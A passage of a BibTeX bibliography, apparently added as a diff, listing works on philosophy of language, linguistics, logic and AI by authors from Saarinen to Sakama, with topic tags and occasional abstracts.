{intentional-identity;} + } + +@techreport{ saarinen:1977a, + author = {Esa Saarinen}, + title = {Backwards-Looking Operators in Intensional Logic and + in Philosophical Analysis: A Summary}, + institution = {Department of Philosophy, University + of Helsinki}, + number = {7}, + year = {1977}, + address = {Helsinki, Finland}, + topic = {modal-logic;temporal-logic;} + } + +@techreport{ saarinen:1977b, + author = {Esa Saarinen}, + title = {Backards-Looking Operators in Tense Logic and in + Natural Language}, + institution = {Department of Philosophy, University of Helsinki}, + number = {4}, + year = {1977}, + address = {Helsinki, Finland}, + topic = {temporal-logic;nl-semantics;} + } + +@techreport{ saarinen:1977c, + author = {Esa Saarinen}, + title = {Propositional Attitudes, Anaphora, and Backards-Looking + Operators}, + institution = {Department of Philosophy, University of Helsinki}, + number = {6}, + year = {1977}, + address = {Helsinki, Finland}, + topic = {anaphora;intensionality;} + } + +@article{ saarinen:1977d, + author = {Esa Saarinen}, + title = {Game-Theoretical-Semantics}, + journal = {The Monist}, + year = {1977}, + volume = {60}, + pages = {406--418}, + missinginfo = {number}, + topic = {game-theoretic-semantics;} + } + +@unpublished{ saarinen:1978a, + author = {Esa Saarinen}, + title = {Quantifier Phrases are (at Least) Five Ways Ambiguous + in Intensional Contexts}, + year = {1978}, + note = {Unpublished manuscript, Department of Philosophy, University + of Helsinki}, + topic = {ambiguity;nl-quantifier-scope;intensionality;} + } + +@unpublished{ saarinen:1978b, + author = {Esa Saarinen}, + title = {A Refutation of {T}homason's Argument that Indirect + Discourse is not Quotational}, + year = {1978}, + note = {Unpublished manuscript, Department of Philosophy, University + of Helsinki}, + missinginfo = {Date is a guess.}, + topic = {syntactic-attitudes;pragmatics;} + } + +@article{ saarinen:1978c, + author = {Esa Saarinen}, + title = {Intsnsional Identity Interpreted}, + journal = {Linguistics and Philosophy}, + year = {1978}, + volume = {2}, + number = {2}, + pages = {151--223}, + topic = {intentional-identity;} + } + +@book{ saarinen:1979a, + editor = {Esa Saarinen}, + title = {Game-Theoretical Semantics: Essays on Semantics}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + address = {Dordrecht}, + ISBN = {9027709181}, + topic = {game-theoretic-semantics;} + } + +@book{ saarinen-etal:1979a, + editor = {Esa Saarinen and Risto Hilpinen and Ilkka Niiniluoto and + Merrill Province Hintikka}, + title = {Essays in Honor of {J}aakko {H}intikka}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + address = {Dordrecht}, + topic = {nl-semantics;philosophical-logic;} + } + +@article{ saarinen:1982a, + author = {Esa Saarinen}, + title = {Linguistic Intuitions and Reductionism: Comments on {K}atz' + Paper}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1982}, + volume = {23}, + number = {3}, + pages = {296--315}, + topic = {foundations-of-semantics;philosophy-of-linguistics;} + } + +@incollection{ saarinen:1994a, + author = {Esa Saarinen}, + title = {Propositional Attitudes Are Not Attitudes towards + Propositions}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {130--162}, + address = {Helsinki}, + topic = {propositional-attitudes;intensionality;} + } + +@article{ saaty:1994a, + author = {Thomas L. Saaty}, + title = {How to Make a Decision: The Analytic Hierarchy Process}, + journal = {Interfaces}, + year = {1994}, + volume = {24}, + number = {6}, + pages = {19--43}, + topic = {decision-theory;} + } + +@article{ saba-corriveau:2001a, + author = {Walid S. Saba and Jean-Pierre Corriveau}, + title = {Plausible Reasoning and the Resolution of Quantifier Scope + Ambiguities}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {2}, + pages = {271--289}, + topic = {common-sense-reasoning;nonmonotonic-reasoning; + nonmonotonic-logic;nl-quantifier-scope;} + } + +@article{ sablon-etal:1994a, + author = {Gunther Sablon and Luc De Raedt and Maurice Bruynooghe}, + title = {Iterative Versionspaces}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {69}, + number = {1--2}, + pages = {393--409}, + acontentnote = {Abstract: + An incremental depth-first algorithm for computing the S- and + G-set of Mitchell's Candidate Elimination and Mellish's + Description Identification algorithm is presented. As in + Mellish's approach, lowerbounds (examples) as well as + upperbounds can be handled. Instead of storing the complete S- + and G-sets, only one element s S and g G is stored, together + with backtrack information. The worst-case space complexity of + our algorithm is linear in the number of lower- and upperbounds. + For the Candidate Elimination algorithm this can be exponential. + We introduce a test for membership of S and G with a number of + coverage tests linear in the number of examples. Consequently + the worst-case time complexity to compute S and G for each + example is only a linear factor worse than the Candidate + Elimination algorithm's. } , + topic = {concept-learning;version-spaces;machine-learning;} + } + +@article{ sacerdoti:1974a, + author = {Earl D. Sacerdoti.}, + title = {Planning in a Hierarchy of Abstraction Spaces}, + journal = {Artificial Intelligence}, + volume = {5}, + number = {2}, + pages = {115--135}, + year = {1974}, + topic = {planning;planning-algorithms;} + } + +@book{ sacerdoti:1977a, + author = {Earl D. Sacerdoti}, + title = {A Structure for Plans and Behavior}, + publisher = {Elsevier Science Publishers}, + year = {1977}, + address = {Amsterdam}, + topic = {planning;} + } + +@article{ sachs:1963a, + author = {David Sachs}, + title = {A Fallacy in {P}lato's {R}epublic}, + journal = {The Philosophical Review}, + year = {1963}, + volume = {72}, + pages = {141--158}, + missinginfo = {number}, + topic = {Plato;ethics;} + } + +@unpublished{ sacks:1989a, + author = {Elisha Sacks}, + title = {Automatic Analysis of One-Parameter Planar Ordinary + Differential Equations by Intelligent Numeric Simulation}, + year = {1989}, + note = {Unpublished manuscript, Department of Computer Science, + Princeton University.}, + topic = {dynamic-systems;qualitative-differential-equations;} + } + +@book{ sacks:1992a, + author = {Harvey Sacks}, + title = {Lectures on Conversation}, + publisher = {Blackwell Publishers}, + year = {1992}, + address = {Oxford}, + note = {Edited by Gail Jefferson.}, + topic = {ethnomethodology;conversation-analysis;sociolinguistics;} + } + +@article{ sacks_e:1990a, + author = {Elisha Sacks}, + title = {A Dynamic Systems Perspective On Qualitative Simulation}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {42}, + number = {3}, + pages = {349--362}, + topic = {qualitative-physics;} + } + +@article{ sacks_e:1990b, + author = {Elisha Sacks}, + title = {Automatic Qualitative Analysis of Dynamic Systems Using + Piecewise Linear Approximations}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {46}, + number = {1--2}, + pages = {313--364}, + topic = {qualitative-physics;} + } + +@article{ sacks_e:1991a, + author = {Elisha P. Sacks}, + title = {Automatic Analysis of One-Parameter Planar Ordinary + Differential Equations by Intelligent Numeric Simulation}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {48}, + number = {1}, + pages = {27--56}, + topic = {qualitative-physics;} + } + +@article{ sacks_e-doyle_j:1991a, + author = {Elisha P. Sacks and Jon Doyle}, + title = {Prolegomena to Any Future Qualitative Physics}, + journal = {Computational Intelligence}, + year = {1992}, + volume = {8}, + number = {2}, + pages = {187--209}, + topic = {qualitative-physics;} + } + +@incollection{ sacks_h:1972a, + author = {Harvey Sacks}, + title = {On The Analyzability of Stories by Children}, + booktitle = {Directions in Sociolinguistics}, + publisher = {Holt, Rinehart and Winston}, + year = {1972}, + editor = {J.J. Gumperz and D.H. Hymes}, + pages = {325--345}, + missinginfo = {A's 1st name.}, + topic = {ethnomethodology;conversation-analysis;} + } + +@incollection{ sacks_h:1974a, + author = {Harvey Sacks}, + title = {An Analysis of the Course of a Joke's Telling in + Conversation}, + booktitle = {Explorations in the Ethnography of Speaking}, + publisher = {Cambridge University Press}, + year = {1974}, + editor = {R. Bauman and J. Sherzer}, + pages = {337--353}, + address = {Cambridge, England}, + missinginfo = {A's 1st name.}, + topic = {conversation-analysis;} + } + +@article{ sacks_h-etal:1974a, + author = {Harvey Sacks and Emmanuel A. Schegloff and G. Jefferson}, + title = {A Simplest Systematics for the Organization of Turntaking + for Conversation}, + journal = {Language}, + pages = {696--735}, + volume = {50}, + year = {1974}, + missinginfo = {number}, + xref = {Variant version: sacks-etal:1978a}, + topic = {pragmatics;conversation-analysis;sociolinguistics;} + } + +@incollection{ sacks_h:1975a, + author = {Harvey Sacks}, + title = {Everyone Has to Lie}, + booktitle = {Sociocultural Dimensions of Language}, + publisher = {Academic Press}, + year = {1975}, + editor = {M. Sanches and B. Blount}, + pages = {57--80}, + address = {New York}, + missinginfo = {A's 1st name.}, + topic = {conversation-analysis;} + } + +@article{ sacks_h:1976a, + author = {Harvey Sacks}, + title = {Paradoxes, Pre-Sequences and Pronouns}, + journal = {Pragmatics Microfiche}, + year = {1976}, + volume = {1.8}, + pages = {E6--G12}, + missinginfo = {A's 1st name}, + topic = {conversation-analysis;} + } + +@incollection{ sacks_h-etal:1978a, + author = {Harvey Sacks and Emmanuel A. Schegloff and G. Jefferson}, + title = {A Simplest Systematics for the Organization of Turntaking + for Conversation}, + booktitle = {Studies in the Organization of Conversational Interaction}, + publisher = {Academic Press}, + year = {1978}, + editor = {A. Schenkein}, + pages = {7--55}, + address = {New York}, + xref = {Variant version: sacks-etal:1974a}, + topic = {conversation-analysis;} + } + +@incollection{ sacks_h:1979a, + author = {Harvey Sacks}, + title = {Two Preferences in the Organization of Reference to Person + in Conversation and Their Interaction}, + booktitle = {Everyday Language: Studies in Ethnomethodology}, + publisher = {Irvington}, + year = {1979}, + editor = {G. Psathas}, + pages = {15--21}, + address = {New York}, + missinginfo = {A's 1st name.}, + topic = {ethnomethodology;conversation-analysis;} + } + +@article{ sadeh-etal:1995a, + author = {Norman Sadeh and Katia Sycara and Yalin Xiong}, + title = {Backtracking Techniques for the Job Shop Scheduling + Constraint Satisfaction Problem}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {76}, + number = {1--2}, + pages = {455--480}, + topic = {backtracking;constraint-satisfaction;search;scheduling;} + } + +@article{ sadeh-fox:1996a, + author = {Norman Sadeh and Mark Fox}, + title = {Variable and Value Ordering Heuristics for the Job Shop + Scheduling Constraint Satisfaction Problem}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {86}, + number = {1}, + pages = {1--41}, + topic = {constraint-satisfaction;search;scheduling; + probabilistic-algorithms;} + } + +@incollection{ sadek:1992a, + author = {M.D. Sadek}, + title = {A Study in the Logic of Intention}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {462--473}, + address = {San Mateo, California}, + topic = {intention;agent-attitudes;} + } + +@unpublished{ sadock:1971a, + author = {Jerrold M. Sadock}, + title = {Aspects of Linguistic Pragmatics}, + year = {1971}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a guess.}, + topic = {pragmatics;} + } + +@incollection{ sadock:1974a, + author = {Jerrold M. Sadock}, + title = {Speech Act Idions}, + booktitle = {Proceedings of the Eighth Regional Meeting of the + Chicago Linguistics Society}, + year = {1972}, + pages = {329--339}, + publisher = {Chicago Linguistics Society}, + address = {Chicago University, Chicago, Illinois}, + topic = {speech-acts;idioms;} + } + +@book{ sadock:1974b, + author = {Jerrold M. Sadock}, + title = {Towards a Linguistic Theory of Speech Acts}, + publisher = {Academic Press}, + year = {1974}, + address = {New York}, + topic = {speech-acts;} + } + +@incollection{ sadock:1976a, + author = {Jerrold M. Sadock}, + title = {On Significant Generalization: + Notes on the {H}allean Syllogism}, + booktitle = {Assessing Linguistic Arguments}, + publisher = {Hemisphere Publishing Corporation}, + year = {1976}, + editor = {Jessica R. Wirth}, + pages = {85--94}, + address = {Washington, D.C.}, + contentnote = {On the merits of the "capturing a generalization" + argument.}, + topic = {philosophy-of-linguistics;foundations-of-linguistics; + phonology;} + } + +@incollection{ sadock:1978a, + author = {Jerrold M. Sadock}, + title = {On Testing for Conversational Implicature}, + booktitle = {Syntax and Semantics 9: Pragmatics}, + publisher = {Academic Press}, + year = {1975}, + editor = {Peter Cole}, + pages = {281--297}, + address = {New York}, + topic = {implicature;pragmatics;} + } + +@incollection{ sadock:1981a, + author = {Jerrold L. Sadock}, + title = {Almost}, + booktitle = {Radical Pragmatics}, + publisher = {Academic Press}, + year = {1981}, + editor = {Peter Cole}, + pages = {257--270}, + address = {New York}, + topic = {implicature;pragmatics;presupposition;} + } + +@article{ sadock-zwicky:1985a, + author = {Jerrold M. Sadock and Arnold M. Zwicky}, + title = {A Note on $xy$ Languages}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {2}, + pages = {229--236}, + topic = {formal-language-theory;} + } + +@incollection{ saeboe:1991a, + author = {Kjell Johan S{\ae}b{\o}}, + title = {Partition Semantics and Cooperative Response}, + booktitle = {Working Papers in Computational Semantics, Dialogue and + Discourse}, + publisher = {Department of Mathematics, University of Oslo}, + year = {1991}, + editor = {Harold L. Somers}, + pages = {5--22}, + address = {P.O. Box 1053-Blindern, 0316 Oslo 3, Norway}, + topic = {pragmatics;question-answering;implicature;} + } + +@article{ saeboe:1996a, + author = {Kjell Johan S{\ae}b{\o}}, + title = {Anaphoric Presuppositions and Zero Anaphora}, + journal = {Linguistics and Philosophy}, + year = {1996}, + volume = {19}, + number = {2}, + pages = {187--209}, + topic = {anaphora;presupposition;} + } + +@article{ saeboe:2001a, + author = {Kjell Johan S{\ae}b{\o}}, + title = {The Semantics of {S}candanavian Free Choice Items}, + journal = {Linguistics and Philosophy}, + year = {2001}, + volume = {24}, + number = {6}, + pages = {737--787}, + topic = {free-choice-`any/or';Scandanavian-languages;} + } + +@book{ saeed:1996a, + author = {John Saeed}, + title = {Semantics}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + topic = {nl-semantics;} + } + +@article{ saffiotti-etal:1995a, + author = {Alessandro Saffiotti and Kurt Konolige and Enrique H. Ruspini}, + title = {A Multivalued Logic Approach to Integrating Planning and + Control}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {76}, + number = {1--2}, + pages = {481--526}, + acontentnote = {Abstract: + Intelligent agents embedded in a dynamic, uncertain environment + should incorporate capabilities for both planned and reactive + behavior. Many current solutions to this dual need focus on one + aspect, and treat the other one as secondary. We propose an + approach for integrating planning and control based on behavior + schemas, which link physical movements to abstract action + descriptions. Behavior schemas describe behaviors of an agent, + expressed as trajectories of control actions in an environment, + and goals can be defined as predicates on these trajectories. + Goals and behaviors can be combined to produce conjoint goals + and complex controls. The ability of multivalued logics to + represent graded preferences allows us to formulate tradeoffs in + the combination. Two composition theorems relate complex + controls to complex goals, and provide the key to using standard + knowledge-based deliberation techniques to generate complex + controllers. We report experiments in planning and execution on + a mobile robot platform, Flakey. } , + topic = {cognitive-robotics;planning;reactive-AI;procedural-control; + agent-environment-interaction;multi-valued-logic;} + } + +@article{ safir:1992a, + author = {Ken Safir}, + title = {Implied Non-Coreference and the Pattern of Anaphora}, + journal = {Linguistics and Philosophy}, + year = {1992}, + volume = {15}, + number = {1}, + pages = {1--52}, + topic = {anaphora;non-co-reference;} + } + +@incollection{ safir_kj:1987a, + author = {Kenneth J. Safir}, + title = {What Explains the Indefiniteness Effect?}, + booktitle = {The Representation of (In)definites}, + publisher = {The {MIT} Press}, + year = {1987}, + editor = {Eric Reuland and Alice {ter Meulen}}, + pages = {71--97}, + address = {Cambridge, Massachusetts}, + topic = {nl-semantics;(in)definiteness;} + } + +@article{ safir_kj:1993a, + author = {Kennith J. Safir}, + title = {Perception, Selection, and Structural Economy}, + journal = {Natural Language Semantics}, + year = {1993}, + volume = {2}, + number = {1}, + pages = {47--70}, + topic = {nl-syntax;nl-semantics;logic-of-perception;} + } + +@article{ safir_o:1975a, + author = {Orin Safir}, + title = {Concrete Forms---Their Application to the Logical + Paradoxes and {G}\"odel's Theorem}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {5}, + number = {1}, + pages = {133--154}, + topic = {semantic-paradoxes;} + } + +@incollection{ sag:1974a, + author = {Ivan A. Sag}, + title = {On the State of Progress in Progressives and Statives}, + booktitle = {New Ways of Analyzing Variation in {E}nglish}, + publisher = {Georgetown University Press}, + year = {1974}, + editor = {Ralph Fasold and Roger Schuy}, + pages = {83--95}, + address = {Washington, DC}, + topic = {tense-aspect;progressive;} + } + +@inproceedings{ sag-liberman:1975a, + author = {Ivan A. Sag and Mark Liberman}, + title = {The Intonational Disambiguation of Indirect Speech Acts}, + booktitle = {Papers from the Eleventh Regional Meeting of the + {C}hicago Linguistic Society}, + year = {1975}, + editor = {Robin Grossman and Jim San and Tim Vance}, + pages = {487--497}, + organization = {Chicago Linguistic Society}, + publisher = {Chicago Linguistic Society}, + address = {Goodspeed Hall, 1050 East 59th Street, Chicago, Illinois}, + topic = {intonation;indirect-speech-acts;pragmatics;} + } + +@book{ sag:1980a, + editor = {Ivan A. Sag}, + title = {Stanford Working Papers in Grammatical Theory}, + publisher = {Stanford Cognitive Science Group}, + year = {1980}, + address = {Stanford, California}, + topic = {GPSG;} + } + +@incollection{ sag:1981a, + author = {Ivan A. Sag}, + title = {Formal Semantics and Extralinguistic Context}, + booktitle = {Radical Pragmatics}, + publisher = {Academic Press}, + year = {1981}, + editor = {Peter Cole}, + pages = {273--293}, + address = {New York}, + topic = {indexicals;context;} + } + +@article{ sag:1983a, + author = {Ivan Sag}, + title = {On Parasitic Gaps}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {1}, + pages = {35--45}, + topic = {parasitic-gaps;anaphora;ellipsis;} + } + +@techreport{ sag-etal:1984a, + author = {Ivan A. Sag and Gerald Gazdar and Thomas Wasow}, + title = {Coordination and How to Distinguish Categories}, + institution= {Center for the Study of Language and Information}, + number = {CSLI--84--3}, + year = {1984}, + address = {Stanford University, Stanford California.}, + topic = {GPSG;syntactic-categories;coordination;} + } + +@article{ sag-hankamer:1984a, + author = {Ivan Sag and Jorge Hankamer}, + title = {Toward a Theory of Anaphoric Processing}, + journal = {Linguistics and Philosophy}, + year = {1984}, + volume = {7}, + number = {3}, + pages = {325--345}, + topic = {anaphora;psycholinguistics;} + } + +@book{ sag-szabolcsi:1992a, + editor = {Ivan A. Sag and Anna Szabolcsi}, + title = {Lexical Matters}, + publisher = {Center for the Study of Language and Information}, + year = {1992}, + number = {24}, + series = {{CSLI} Lecture Notes}, + address = {Stanford, California}, + ISBN = {Hardcover: 0937073652, Paperback: 0937073660}, + contentnote = {TC: + 1. Carol Tenny, "The Aspectual Interface Hypothesis" + 2. Manfred Krifka, "Thematic Relations as Links between + Nominal Reference and Temporal Constitution" + 3. Farrell Ackerman, "Complex predicates and morpholexical + Relatedness: Locative Alternation in {H}ungarian" + 4. Donka F. Farkas, "On Obviation" + 5. William J. Poser, "Blocking of Phrasal Constructions by + Lexical Items" + 6. Mark Liberman and Richard Sproat, "The Stress and + Structure of Modified Noun Phrases in {E}nglish" + 7. Ferenc Kiefer, "Hungarian Derivational Morphology, + Semantic Complexity, and Semantic Markedness" + 10. Gy\"orgy Gergely, "Focus-Based Inferences in Sentence + Comprehension" + 11. Anna Szabolcsi, "Combinatory Grammar and Projection from + the Lexicon" + 12. Pauline Jacobson, "The Lexical Entailment Theory of + Control and the Tough-Construction" + 13. Ivan Sag, Lauri Karttunen, and Jeffrey Goldberg, "A + Lexical Analysis of {I}celandic case" + } , + ISBN = {0937073652, 0937073660 (pbk.)}, + topic = {semantics;morphology;LFG;lexical-semantics;lexicon;} + } + +@article{ sag:1997a, + author = {Ivan A. Sag}, + title = {English Relative Clause Constructions}, + journal = {Journal of Linguistics}, + year = {1997}, + volume = {33}, + pages = {431--484}, + missinginfo = {number}, + topic = {relative-clauses;} + } + +@book{ sag-wasow:1999a, + author = {Ivan Sag and Thomas A. Wasow}, + title = {Syntactic Theory: A Formal Introduction}, + publisher = {Center for the Study of Language and Information}, + year = {1999}, + address = {Stanford, California}, + ISBN = {1575861615 (hard cover), 1575861607 (paper)}, + topic = {syntax;syntax-intro;} + } + +@book{ sage-palmer:1990a, + author = {Andrew P. Sage and James D. Palmer}, + title = {Software Systems Engineering}, + publisher = {John Wiley and Sons}, + year = {1990}, + address = {New York}, + ISBN = {047161758X}, + topic = {software-engineering;} + } + +@book{ sager:1981a, + author = {Naomi Sager}, + title = {Natural Language Information Processing: A Computer + Grammar of {E}nglish and Its Applications}, + publisher = {Addison-Wesley}, + year = {1981}, + address = {Reading, Massachusetts}, + topic = {nl-processing;} + } + +@article{ sagi:2000a, + author = {G\'abor S\'agi}, + title = {A Completeness Theorem for Higher Order Logics}, + journal = {Journal of Symbolic Logic}, + year = {2000}, + volume = {65}, + number = {2}, + pages = {857--884}, + topic = {higher-order-logic;completeness-results;cylindrical-algebra;} + } + +@article{ saguillo:1997a, + author = {Jos\'e M. Sag\"uillo}, + title = {Logical Consequence Revisited}, + journal = {The Bulletin of Symbolic Logic}, + year = {1997}, + volume = {3}, + number = {2}, + pages = {216--241}, + topic = {history-of-logic;logical-consequence;} + } + +@incollection{ sahlin-rabinowicz:1998a, + author = {Nils-Eric Sahlin and Wlodek Rabinowicz}, + title = {The Evidentiary Value Model}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 1: Quantified Representation + of Uncertainty and Imprecision}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Dov M. Gabbay and Philippe Smets}, + pages = {247--265}, + address = {Dordrecht}, + topic = {evidence;evidentiary-value;foundations-of-probability;} + } + +@book{ sainsbury_rm:1979a, + author = {Richard M. Sainsbury}, + title = {Russell}, + publisher = {Routledge \& Kegan Paul}, + year = {1979}, + address = {London}, + ISBN = {071000155X}, + topic = {Russell;} + } + +@article{ sainsbury_rm:1984a, + author = {Richard Mark Sainsbury}, + title = {Saying and Conveying}, + journal = {Linguistics and Philosophy}, + year = {1984}, + volume = {7}, + number = {4}, + pages = {415--432}, + topic = {speaker-meaning;pragmatics;implicature;} + } + +@book{ sainsbury_rm:1988a, + author = {Richard M. Sainsbury}, + title = {Paradoxes}, + publisher = {Cambridge University Press}, + year = {1988}, + address = {Cambridge}, + topic = {paradoxes;vagueness;} + } + +@book{ sainsbury_rm:1988b, + author = {R. Mark Sainsbury}, + title = {Paradoxes}, + publisher = {Cambridge University Press}, + year = {1988}, + address = {Cambridge}, + ISBN = {052133165X}, + topic = {paradoxes;} + } + +@book{ sainsbury_rm:1991a, + author = {Richard M. Sainsbury}, + title = {Logical Forms: An Introduction to Philosophical Logic}, + publisher = {Blackwell Publishers}, + year = {1991}, + address = {Oxford}, + topic = {philosophical-logic;} + } + +@unpublished{ sainsbury_rm:1991b1, + author = {Richard M. Sainsbury}, + title = {Concepts without Boundaries}, + year = {1991}, + note = {Inaugural Lecture, King's College, London}, + xref = {Republication: sainsbury_rm:1991b2.}, + topic = {vagueness;sorites-paradox;} + } + +@incollection{ sainsbury_rm:1991b2, + author = {Richard Mark Sainsbury}, + title = {Concepts without Boundaries}, + booktitle = {Vagueness: A Reader}, + publisher = {The {MIT} Press}, + year = {1997}, + editor = {Rosanna Keefe and Peter Smith}, + pages = {251--264}, + address = {Cambridge, Massachusetts}, + xref = {Republication of: sainsbury_rm:1991b1.}, + topic = {vagueness;sorites-paradox;} + } + +@book{ sainsbury_rm:1991c, + editor = {R. Mark Sainsbury}, + title = {Logical Forms: An Introduction to Philosophical Logic}, + publisher = {Blackwell}, + year = {1991}, + address = {Oxford}, + ISBN = {0631177779}, + xref = {Second edition: sainsbury_rm:2000a.}, + topic = {philosophical-logic;} + } + +@article{ sainsbury_rm:1991d, + author = {Richard M. Sainsbury}, + title = {Is There Higher-Order Vagueness?}, + journal = {Philosophical Quarterly}, + year = {1991}, + volume = {91}, + pages = {167--182}, + missinginfo = {number}, + topic = {vagueness;} + } + +@book{ sainsbury_rm:2000a, + editor = {R. Mark Sainsbury}, + title = {Logical Forms: An Introduction to Philosophical Logic}, + edition = {2}, + publisher = {Blackwell}, + year = {2000}, + address = {Oxford}, + ISBN = {0-631-20143-2 (pbk)}, + xref = {First edition: sainsbury_rm:1991c.}, + topic = {philosophical-logic;} + } + +@incollection{ saintcyr-lang:2002a, + author = {Florence Dupin de Saint-Cyr and J\'erome Lang}, + title = {Belief Extrapolaion (or How to Reason about Observations + and Unpredicted Change)}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {497--508}, + address = {San Francisco, California}, + topic = {kr;reasoning-about-observations;} + } + +@book{ saintdizier-szpakowicz:1990a, + editor = {Patrick Saint-Dizier and Stan Szpakowicz}, + title = {Logic and Logic Grammars for Language Processing}, + publisher = {Ellis Horwood}, + year = {1990}, + address = {New York}, + ISBN = {0745805833}, + topic = {grammar-formalisms;grammar-logics;nl-processing;} + } + +@incollection{ saintdizier:1992a, + author = {Patrick Saint-Dizier}, + title = {A Constraint Logic Programming Treatment of Syntactic + Choice in Natural Language Generation}, + pages = {119--134}, + booktitle = {Aspects of Automated Natural Language Generation: + 6th International Workshop on Natural Language Generation}, + editor = {Robert Dale and Eduard Hovy and Dietmar {R\"osner} and + Oliviero Stock}, + series = {Lecture Notes in Artificial Intelligence 587}, + publisher = {Springer Verlag}, + address = {Berlin}, + year = {1992}, + topic = {nl-realization;} + } + +@incollection{ saintdizier:1995a, + author = {Patrick Saint-Dizier}, + title = {Constraint Propagation Techniques for Lexical Semantics + Descriptions}, + booktitle = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + pages = {426--440}, + address = {Cambridge, England}, + topic = {nl-kr;computational-lexical-semantics;lexical-processing;} + } + +@book{ saintdizier-viegas:1995a, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + title = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + contentnote = {TC: + 1. Patrick Saint-Dizier and Evelyne Viegas, "An Introduction + to Lexical Semantics from a Linguistic and a + Psycholinguistic Perspective", pp. 1--29 + 2. David A. Cruse, "Polysemy and Related Phenomena from + a Cognitive Linguistic Viewpoint", pp. 33--49 + 3. Jean Fran\c{c}ois le Ny, "Mentak Lexicon and Machine + Lexicon: Which Properties Are Shared by + Machine and Mental Word Representations", pp. 50--67 + 4. James Pustejovsky, "Linguistic Constraints on Type + Coercion", pp. 71--97 + 5. Sabine Bergler, "From Lexical Semantics to Text + Analysus", pp. 98--124 + 6. Dirk Heylen, "Lexical Functions, Generative Lexicons, + and the World", pp. 125--140 + 7. Gabriel G. B\`es and Alain Lecomte, "Semantic + Features in a Generic Lexicon", pp. 141--162 + 8. Gerrit Burkert, "Lexical Semantics and Terminological + Knowledge Representation", pp. 165--184 + 9. Peter Gerstl, "Word Meaning Between Lexical and + Conceptual Structure", pp. 185--206 + 10. Ann Copestake, "The Representation of Group Denoting + Nouns in a Lexical Knowledge Base", pp. 207--230 + 11. Martha Palmer and Alain Polgu\`ere, "A Preliminary Lexical + and Conceptual Analysis of BREAK: A Computational + Perspective", pp. 231--250 + 12. Jean V\'eronis and Nancy Ide, "Large Neural Networks for + the Resolution of Lexical Ambiguity", pp. 251--272 + 13. Ted Briscoe, Ann Copestake, and Alex + Lascarides, "Blocking", pp. 273--302 + 14. Daniel Kayser and Hocine Abir, "A Non-Monotonic + Approach to Lexical Semantics", pp. 303--318 + 15. Adam Kilgarriff, "Inheriting Polysemy", pp. 319--335 + 16. Marc Cavazza and Pierre Zweigenbaum, "Lexical Semantics: + Dictionary or Encyclopedia?", pp. 336--347 + 17. Margarita Alonso Ramos and Agnes Tutin and Guy + Lapalme, "Lexical Functions of the {\it Explanatory + Combinatorial Dictionary} for Lexicalization + in Text Generation", pp. 351--366 + 18. Bonnie Jean Dorr, "A Lexical-Semantic Solution to the Divergence + Problem in Machine Translation", pp. 367--395 + 19. Jacques Jayez, "Introducing {L}ex{L}og", pp. 399--425 + 20. Patrick Saint-Dizier, "Constraint Propagation + Techniques for Lexical Semantics + Descriptions", pp. 426--440 + } , + ISBN = {0-521-44410-1}, + xref = {Review: deane:1995a.}, + topic = {machine-translation;nl-kr;computational-lexical-semantics; + lexical-processing;} + } + +@incollection{ saintdizier-viegas:1995b, + author = {Patrick Saint-Dizier and Evelyne Viegas}, + title = {An Introduction to Lexical Semantics From a Linguistic and a + Psycholinguistic Perspective}, + booktitle = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + pages = {1--29}, + address = {Cambridge, England}, + topic = {nl-kr;computational-lexical-semantics;} + } + +@incollection{ saintdizier:1998a, + author = {Patrick Saint-Dizier}, + title = {Sense Variation and Lexical Semantics Generative + Operations}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Natural Language + Learning: {NeMLaP3/CoNLL98}}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {David M.W. Powers}, + pages = {121--130}, + address = {Somerset, New Jersey}, + topic = {computational-lexicography;lexical-semantics;} + } + +@book{ saintdizier:1999a, + editor = {Patrick Saint-Dizier}, + title = {Predicative Forms in Natural Language and in Lexical + Knowledge Bases}, + publisher = {Kluwer Academic Publishers}, + year = {1999}, + address = {Dordrecht}, + ISBN = {0-7923-5499-0}, + xref = {Review: stede:2000a.}, + topic = {predication;lexical-semantics;} + } + +@article{ saka:1998a, + author = {Paul Saka}, + title = {Quotation and the Use-Mention Distinction}, + journal = {Mind}, + year = {1998}, + volume = {107}, + number = {425}, + pages = {113--135}, + topic = {direct-discourse;pragmatics;} + } + +@incollection{ sakama-seki:1994a, + author = {Chiaki Sakama and Hirohisa Seki}, + title = {Partial Deduction of + Disjunctive Logic Programs: A Declarative + Approach}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: 